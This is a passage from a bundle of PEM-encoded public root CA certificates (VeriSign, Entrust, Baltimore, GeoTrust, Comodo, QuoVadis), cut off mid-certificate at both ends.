MIIEGjCCAwICEQCbfgZJoz5iudXukEhxKe9XMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAMu6nFL8eB8aHm8bN3O9+MlrlBIwT/A2R/XQkQr1F8ilYcEWQE37imGQ5XYgwREGfassbqb1 EUGO+i2tKmFZpGcmTNDovFJbcCAEWNF6yaRpvIMXZK0Fi7zQWM6NjPXr8EJJC52XJ2cybuGukxUc cLwgTS8Y3pKI6GyFVxEa6X7jJhFUokWWVYPKMIno3Nij7SqAP395ZVc+FSBmCC+Vk7+qRy+oRpfw EuL+wgorUeZ25rdGt+INpsyow0xZVYnm6FNcHOqd8GIWC6fJXwzw3sJ2zq/3avL6QaaiMxTJ5Xpj 055iN9WFZZ4O5lMkdBteHRJTW8cs54NJOxWuimi5V5cCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA ERSWwauSCPc/L8my/uRan2Te2yFPhpk0djZX3dAVL8WtfxUfN2JzPtTnX84XA9s1+ivbrmAJXx5f j267Cz3qWhMeDGBvtcC1IyIuBwvLqXTLR7sdwdela8wv0kL9Sd2nic9TutoAWii/gt/4uhMdUIaC /Y4wjylGsB49Ndo4YhYYSq3mtlFs3q9i6wHQHiT+eo8SGhJouPtmmRQURVyu565pF4ErWjfJXir0 xuKhXFSbplQAz/DxwceYMBo7Nhbbo27q/a2ywtrvAkcTisDxszGtTxzhT5yvDwyd93gN2PQ1VoDa t20Xj50egWTh/sVFuq1ruQp6Tk9LhO5L8X3dEQ== -----END CERTIFICATE----- Entrust.net Premium 2048 Secure Server CA ========================================= -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIEOGPe+DANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChMLRW50cnVzdC5u ZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBpbmNvcnAuIGJ5IHJlZi4gKGxp bWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNV BAMTKkVudHJ1c3QubmV0IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQx NzUwNTFaFw0yOTA3MjQxNDE1MTJaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3 d3d3LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxpYWIuKTEl MCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEGA1UEAxMqRW50cnVzdC5u ZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgpMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEArU1LqRKGsuqjIAcVFmQqK0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOL Gp18EzoOH1u3Hs/lJBQesYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSr hRSGlVuXMlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVTXTzW nLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/HoZdenoVve8AjhUi VBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH4QIDAQABo0IwQDAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVeSB0RGAvtiJuQijMfmhJAkWuXAwDQYJ KoZIhvcNAQEFBQADggEBADubj1abMOdTmXx6eadNl9cZlZD7Bh/KM3xGY4+WZiT6QBshJ8rmcnPy T/4xmf3IDExoU8aAghOY+rat2l098c5u9hURlIIM7j+VrxGrD9cv3h8Dj1csHsm7mhpElesYT6Yf zX1XEC+bBAlahLVu2B064dae0Wx5XnkcFMXj0EyTO2U87d89vqbllRrDtRnDvV5bu/8j72gZyxKT J1wDLW8w0B62GqzeWvfRqqgnpv55gcR5mTNXuhKwqeBCbJPKVt7+bYQLCIt+jerXmCHG8+c8eS9e nNFMFY3h7CI3zJpDC5fcgJCNs2ebb0gIFVbPv/ErfF6adulZkMV8gzURZVE= -----END CERTIFICATE----- Baltimore CyberTrust Root ========================= -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJRTESMBAGA1UE ChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3li ZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoXDTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMC SUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFs dGltb3JlIEN5YmVyVHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKME uyKrmD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjrIZ3AQSsB UnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeKmpYcqWe4PwzV9/lSEy/C G9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSuXmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9 XbIGevOF6uvUA65ehD5f/xXtabz5OTZydc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjpr l3RjM71oGDHweI12v/yejl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoI VDaGezq1BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEB BQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT929hkTI7gQCvlYpNRh cL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3WgxjkzSswF07r51XgdIGn9w/xZchMB5 hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsa Y71k5h+3zvDyny67G7fyUIhzksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9H RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp -----END CERTIFICATE----- Entrust Root Certification Authority ==================================== -----BEGIN CERTIFICATE----- MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0 MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68 j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1 MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0 tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8 -----END CERTIFICATE----- GeoTrust Global CA ================== -----BEGIN CERTIFICATE----- MIIDVDCCAjygAwIBAgIDAjRWMA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQK Ew1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMDIwNTIxMDQw MDAwWhcNMjIwNTIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j LjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjo BbdqfnGk5sRgprDvgOSJKA+eJdbtg/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet 8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+Vc T4wt/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagU vTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo1MwUTAPBgNVHRMBAf8EBTAD AQH/MB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAfBgNVHSMEGDAWgBTAephojYn7qwVk DBF9qn1luMrMTjANBgkqhkiG9w0BAQUFAAOCAQEANeMpauUvXVSOKVCUn5kaFOSPeCpilKInZ57Q zxpeR+nBsqTP3UEaBU6bS+5Kb1VSsyShNwrrZHYqLizz/Tt1kL/6cdjHPTfStQWVYrmm3ok9Nns4 d0iXrKYgjy6myQzCsplFAMfOEVEiIuCl6rYVSAlk6l5PdPcFPseKUgzbFbS9bZvlxrFUaKnjaZC2 mqUPuLk/IH2uSrW4nOQdtqvmlKXBx4Ot2/Unhw4EbNX/3aBd7YdStysVAq45pmp06drE57xNNB6p XE0zX5IJL4hmXXeXxx12E6nV5fEWCRE11azbJHFwLJhWC9kXtNHjUStedejV0NxPNO3CBWaAocvm Mw== -----END CERTIFICATE----- GeoTrust Universal CA ===================== -----BEGIN CERTIFICATE----- MIIFaDCCA1CgAwIBAgIBATANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEeMBwGA1UEAxMVR2VvVHJ1c3QgVW5pdmVyc2FsIENBMB4XDTA0MDMwNDA1 MDAwMFoXDTI5MDMwNDA1MDAwMFowRTELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IElu Yy4xHjAcBgNVBAMTFUdlb1RydXN0IFVuaXZlcnNhbCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIP ADCCAgoCggIBAKYVVaCjxuAfjJ0hUNfBvitbtaSeodlyWL0AG0y/YckUHUWCq8YdgNY96xCcOq9t JPi8cQGeBvV8Xx7BDlXKg5pZMK4ZyzBIle0iN430SppyZj6tlcDgFgDgEB8rMQ7XlFTTQjOgNB0e RXbdT8oYN+yFFXoZCPzVx5zw8qkuEKmS5j1YPakWaDwvdSEYfyh3peFhF7em6fgemdtzbvQKoiFs 7tqqhZJmr/Z6a4LauiIINQ/PQvE1+mrufislzDoR5G2vc7J2Ha3QsnhnGqQ5HFELZ1aD/ThdDc7d 8Lsrlh/eezJS/R27tQahsiFepdaVaH/wmZ7cRQg+59IJDTWU3YBOU5fXtQlEIGQWFwMCTFMNaN7V qnJNk22CDtucvc+081xdVHppCZbW2xHBjXWotM85yM48vCR85mLK4b19p71XZQvk/iXttmkQ3Cga Rr0BHdCXteGYO8A3ZNY9lO4L4fUorgtWv3GLIylBjobFS1J72HGrH4oVpjuDWtdYAVHGTEHZf9hB Z3KiKN9gg6meyHv8U3NyWfWTehd2Ds735VzZC1U0oqpbtWpU5xPKV+yXbfReBi9Fi1jUIxaS5BZu KGNZMN9QAZxjiRqf2xeUgnA3wySemkfWWspOqGmJch+RbNt+nhutxx9z3SxPGWX9f5NAEC7S8O08 ni4oPmkmM8V7AgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNq7LqqwDLiIJlF0 XG0D08DYj3rWMB8GA1UdIwQYMBaAFNq7LqqwDLiIJlF0XG0D08DYj3rWMA4GA1UdDwEB/wQEAwIB hjANBgkqhkiG9w0BAQUFAAOCAgEAMXjmx7XfuJRAyXHEqDXsRh3ChfMoWIawC/yOsjmPRFWrZIRc aanQmjg8+uUfNeVE44B5lGiku8SfPeE0zTBGi1QrlaXv9z+ZhP015s8xxtxqv6fXIwjhmF7DWgh2 qaavdy+3YL1ERmrvl/9zlcGO6JP7/TG37FcREUWbMPEaiDnBTzynANXH/KttgCJwpQzgXQQpAvvL oJHRfNbDflDVnVi+QTjruXU8FdmbyUqDWcDaU/0zuzYYm4UPFd3uLax2k7nZAY1IEKj79TiG8dsK xr2EoyNB3tZ3b4XUhRxQ4K5RirqNPnbiucon8l+f725ZDQbYKxek0nxru18UGkiPGkzns0ccjkxF KyDuSN/n3QmOGKjaQI2SJhFTYXNd673nxE0pN2HrrDktZy4W1vUAg4WhzH92xH3kt0tm7wNFYGm2 DFKWkoRepqO1pD4r2czYG0eq8kTaT/kD6PAUyz/zg97QwVTjt+gKN02LIFkDMBmhLMi9ER/frslK xfMnZmaGrGiR/9nmUxwPi1xpZQomyB40w11Re9epnAahNt3ViZS82eQtDF4JbAiXfKM9fJP/P6EU p8+1Xevb2xzEdt+Iub1FBZUbrvxGakyvSOPOrg/SfuvmbJxPgWp6ZKy7PtXny3YuxadIwVyQD8vI P/rmMuGNG2+k5o7Y+SlIis5z/iw= -----END CERTIFICATE----- GeoTrust Universal CA 2 ======================= -----BEGIN CERTIFICATE----- MIIFbDCCA1SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwHhcNMDQwMzA0 MDUwMDAwWhcNMjkwMzA0MDUwMDAwWjBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3Qg SW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwggIiMA0GCSqGSIb3DQEBAQUA A4ICDwAwggIKAoICAQCzVFLByT7y2dyxUxpZKeexw0Uo5dfR7cXFS6GqdHtXr0om/Nj1XqduGdt0 DE81WzILAePb63p3NeqqWuDW6KFXlPCQo3RWlEQwAx5cTiuFJnSCegx2oG9NzkEtoBUGFF+3Qs17 j1hhNNwqCPkuwwGmIkQcTAeC5lvO0Ep8BNMZcyfwqph/Lq9O64ceJHdqXbboW0W63MOhBW9Wjo8Q JqVJwy7XQYci4E+GymC16qFjwAGXEHm9ADwSbSsVsaxLse4YuU6W3Nx2/zu+z18DwPw76L5GG//a QMJS9/7jOvdqdzXQ2o3rXhhqMcceujwbKNZrVMaqW9eiLBsZzKIC9ptZvTdrhrVtgrrY6slWvKk2 WP0+GfPtDCapkzj4T8FdIgbQl+rhrcZV4IErKIM6+vR7IVEAvlI4zs1meaj0gVbi0IMJR1FbUGrP 20gaXT73y/Zl92zxlfgCOzJWgjl6W70viRu/obTo/3+NjN8D8WBOWBFM66M/ECuDmgFz2ZRthAAn ZqzwcEAJQpKtT5MNYQlRJNiS1QuUYbKHsu3/mjX/hVTK7URDrBs8FmtISgocQIgfksILAAX/8sgC SqSqqcyZlpwvWOB94b67B9xfBHJcMTTD7F8t4D1kkCLm0ey4Lt1ZrtmhN79UNdxzMk+MBB4zsslG 8dhcyFVQyWi9qLo2CQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR281Xh+qQ2 +/CfXGJx7Tz0RzgQKzAfBgNVHSMEGDAWgBR281Xh+qQ2+/CfXGJx7Tz0RzgQKzAOBgNVHQ8BAf8E BAMCAYYwDQYJKoZIhvcNAQEFBQADggIBAGbBxiPz2eAubl/oz66wsCVNK/g7WJtAJDday6sWSf+z dXkzoS9tcBc0kf5nfo/sm+VegqlVHy/c1FEHEv6sFj4sNcZj/NwQ6w2jqtB8zNHQL1EuxBRa3ugZ 4T7GzKQp5y6EqgYweHZUcyiYWTjgAA1i00J9IZ+uPTqM1fp3DRgrFg5fNuH8KrUwJM/gYwx7WBr+ mbpCErGR9Hxo4sjoryzqyX6uuyo9DRXcNJW2GHSoag/HtPQTxORb7QrSpJdMKu0vbBKJPfEncKpq A1Ihn0CoZ1Dy81of398j9tx4TuaYT1U6U+Pv8vSfx3zYWK8pIpe44L2RLrB27FcRz+8pRPPphXpg Y+RdM4kX2TGq2tbzGDVyz4crL2MjhF2EjD9XoIj8mZEoJmmZ1I+XRL6O1UixpCgp8RW04eWe3fiP pm8m1wk8OhwRDqZsN/etRIcsKMfYdIKz0G9KV7s1KSegi+ghp4dkNl3M2Basx7InQJJVOCiNUW7d FGdTbHFcJoRNdVq2fmBWqU2t+5sel/MN2dKXVHfaPRK34B7vCAas+YWH6aLcr34YEoP9VhdBLtUp gn2Z9DH2canPLAEnpQW5qrJITirvn5NSUZU8UnOOVkwXQMAJKOSLakhT2+zNVVXxxvjpoixMptEm X36vWkzaH6byHCx+rgIW0lbQL1dTR+iS -----END CERTIFICATE----- Comodo AAA Services root ======================== -----BEGIN CERTIFICATE----- MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAw MFoXDTI4MTIzMTIzNTk1OVowezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hl c3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNV BAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQuaBtDFcCLNSS1UY8y2bmhG C1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe3M/vg4aijJRPn2jymJBGhCfHdr/jzDUs i14HZGWCwEiwqJH5YZ92IFCokcdmtet4YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszW Y19zjNoFmag4qMsXeDZRrOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjH Ypy+g8cmez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQUoBEK Iz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wewYDVR0f BHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNl cy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2Vz LmNybDANBgkqhkiG9w0BAQUFAAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm 7l3sAg9g1o1QGE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2G9w84FoVxp7Z 8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsil2D4kF501KKaU73yqWjgom7C 12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg== -----END CERTIFICATE----- QuoVadis Root CA ================ -----BEGIN CERTIFICATE----- MIIF0DCCBLigAwIBAgIEOrZQizANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJCTTEZMBcGA1UE ChMQUXVvVmFkaXMgTGltaXRlZDElMCMGA1UECxMcUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0 eTEuMCwGA1UEAxMlUXVvVmFkaXMgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wMTAz MTkxODMzMzNaFw0yMTAzMTcxODMzMzNaMH8xCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRp cyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MS4wLAYDVQQD EyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAv2G1lVO6V/z68mcLOhrfEYBklbTRvM16z/Ypli4kVEAkOPcahdxYTMuk J0KX0J+DisPkBgNbAKVRHnAEdOLB1Dqr1607BxgFjv2DrOpm2RgbaIr1VxqYuvXtdj182d6UajtL F8HVj71lODqV0D1VNk7feVcxKh7YWWVJWCCYfqtffp/p1k3sg3Spx2zY7ilKhSoGFPlU5tPaZQeL YzcS19Dsw3sgQUSj7cugF+FxZc4dZjH3dgEZyH0DWLaVSR2mEiboxgx24ONmy+pdpibu5cxfvWen AScOospUxbF6lR1xHkopigPcakXBpBlebzbNw6Kwt/5cOOJSvPhEQ+aQuwIDAQABo4ICUjCCAk4w PQYIKwYBBQUHAQEEMTAvMC0GCCsGAQUFBzABhiFodHRwczovL29jc3AucXVvdmFkaXNvZmZzaG9y ZS5jb20wDwYDVR0TAQH/BAUwAwEB/zCCARoGA1UdIASCAREwggENMIIBCQYJKwYBBAG+WAABMIH7 MIHUBggrBgEFBQcCAjCBxxqBxFJlbGlhbmNlIG9uIHRoZSBRdW9WYWRpcyBSb290IENlcnRpZmlj YXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgdGhlIHRoZW4gYXBwbGljYWJs ZSBzdGFuZGFyZCB0ZXJtcyBhbmQgY29uZGl0aW9ucyBvZiB1c2UsIGNlcnRpZmljYXRpb24gcHJh Y3RpY2VzLCBhbmQgdGhlIFF1b1ZhZGlzIENlcnRpZmljYXRlIFBvbGljeS4wIgYIKwYBBQUHAgEW Fmh0dHA6Ly93d3cucXVvdmFkaXMuYm0wHQYDVR0OBBYEFItLbe3TKbkGGew5Oanwl4Rqy+/fMIGu BgNVHSMEgaYwgaOAFItLbe3TKbkGGew5Oanwl4Rqy+/foYGEpIGBMH8xCzAJBgNVBAYTAkJNMRkw FwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MS4wLAYDVQQDEyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggQ6 tlCLMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAitQUtf70mpKnGdSkfnIYj9lo fFIk3WdvOXrEql494liwTXCYhGHoG+NpGA7O+0dQoE7/8CQfvbLO9Sf87C9TqnN7Az10buYWnuul LsS/VidQK2K6vkscPFVcQR0kvoIgR13VRH56FmjffU1RcHhXHTMe/QKZnAzNCgVPx7uOpHX6Sm2x gI4JVrmcGmD+XcHXetwReNDWXcG31a0ymQM6isxUJTkxgXsTIlG6Rmyhu576BGxJJnSP0nPrzDCi 5upZIof4l/UO/erMkqQWxFIY6iHOsfHmhIHluqmGKPJDWl0Snawe2ajlCmqnf6CHKc/yiU3U7MXi 5nrQNiOKSnQ2+Q== -----END CERTIFICATE----- QuoVadis Root CA 2 ================== -----BEGIN CERTIFICATE----- MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6 XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt 66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv 